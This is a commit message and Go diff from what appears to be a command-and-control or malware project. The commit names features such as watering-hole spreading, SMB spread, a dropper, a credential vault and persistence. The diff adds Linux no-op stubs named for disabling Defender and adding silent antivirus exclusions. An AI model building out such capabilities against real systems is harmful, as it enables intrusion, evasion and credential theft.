feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/deploy/defender_linux.go

@@ -0,0 +1,11 @@
+//go:build linux
+
+package deploy
+
+import "fmt"
+
+func DisableDefenderRealtime() (string, error) {
+	return "", fmt.Errorf("defender control is Windows-only (no Windows Defender on Linux)")
+}
+
+func SilentAVExclusion(_, _ string) {} // no-op on Linux